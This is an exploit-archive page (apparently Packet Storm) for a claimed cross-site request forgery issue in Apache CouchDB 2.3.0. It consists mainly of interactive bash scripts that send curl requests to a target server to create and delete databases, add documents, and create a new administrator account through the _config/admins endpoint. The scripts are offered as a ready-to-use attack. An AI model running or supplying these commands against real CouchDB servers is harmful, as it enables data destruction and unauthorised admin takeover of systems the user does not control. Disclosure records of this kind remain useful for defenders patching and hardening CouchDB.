exploit the possibilities

Apache CouchDB 2.3.0 Cross Site Request Forgery

Apache CouchDB 2.3.0 Cross Site Request Forgery
Posted Jan 3, 2019
Authored by Ozer Goker

Apache CouchDB version 2.3.0 suffers from cross site request forgery vulnerabilities providing there's a loose CORs policy.

tags | exploit, vulnerability, csrf
MD5 | c626175b164c90db6a2e2ae652f9bb90

Apache CouchDB 2.3.0 Cross Site Request Forgery

Change Mirror Download
##################################################################################################################################
# Exploit Title: Apache CouchDB 2.3.0 Cross Site Request Forgery
# Date: 21.12.2018
# Exploit Author: Ozer Goker
# Vendor Homepage: http://couchdb.apache.org
# Software Link: http://couchdb.apache.org/#download
# Version: 2.3.0
##################################################################################################################################

Introduction

Apache CouchDB is open source database software that focuses on ease of use
and having a scalable architecture. It has a document-oriented NoSQL
database architecture and is implemented in the concurrency-oriented
language Erlang; it uses JSON to store data, JavaScript as its query
language using MapReduce, and HTTP for an API.

##################################################################################################################################

Bash Script for Cross Site Request Forgery

CSRF1

Create Database

echo -n "Enter IP:"
read IP
echo -n "Enter Port:"
read PORT
echo -n "Enter DB Name:"
read DB

curl -X PUT "$IP:$PORT/$DB"

##################################################################################################################################

Delete Database

echo -n "Enter IP:"
read IP
echo -n "Enter Port:"
read PORT
echo -n "Enter DB Name:"
read DB

curl -X DELETE "$IP:$PORT/$DB"

##################################################################################################################################

Create Document

echo -n "Enter IP:"
read IP
echo -n "Enter Port:"
read PORT
echo -n "Enter DB Name:"
read DB
echo -n "Enter Document Name:"
read DOC


curl -X PUT "$IP:$PORT/$DB/$DOC" --data '{"_id":"$DOC"}'

##################################################################################################################################

Create Admin


echo -n "Enter IP:"
read IP
echo -n "Enter Port:"
read PORT
echo -n "Enter Admin Username:"
read username
echo -n "Enter Admin Password:"
read password

curl -X PUT "$IP:$PORT/_node/couchdb@localhost/_config/admins/$username" -H
"content-type: application/json" --data \"$password\"

##################################################################################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    15 Files
  • 2
    Jan 2nd
    15 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    1 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    24 Files
  • 8
    Jan 8th
    15 Files
  • 9
    Jan 9th
    16 Files
  • 10
    Jan 10th
    23 Files
  • 11
    Jan 11th
    17 Files
  • 12
    Jan 12th
    3 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    33 Files
  • 16
    Jan 16th
    23 Files
  • 17
    Jan 17th
    29 Files
  • 18
    Jan 18th
    15 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close